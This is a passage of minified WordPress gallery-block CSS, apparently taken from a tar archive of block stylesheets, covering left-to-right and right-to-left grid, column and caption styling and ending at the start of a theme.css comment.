.blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-right:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-right:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-right:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-right:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-right:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-right:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-right:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:3em;pointer-events:none}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;text-align:center;text-shadow:0 0 1.5px #000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{will-change:transform}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000)}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center} gallery/style-rtl.min.css 0000644 00000037356 15237550573 0011470 0 ustar 00 .blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 0 1em 1em;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-left:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-left:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-left:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-left:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-left:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-left:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-left:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:3em;pointer-events:none}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;text-align:center;text-shadow:0 0 1.5px #000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{will-change:transform}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000)}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center} gallery/theme.css 0000644 00000003555 15237550573 0010043 0 ustar 00 /**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
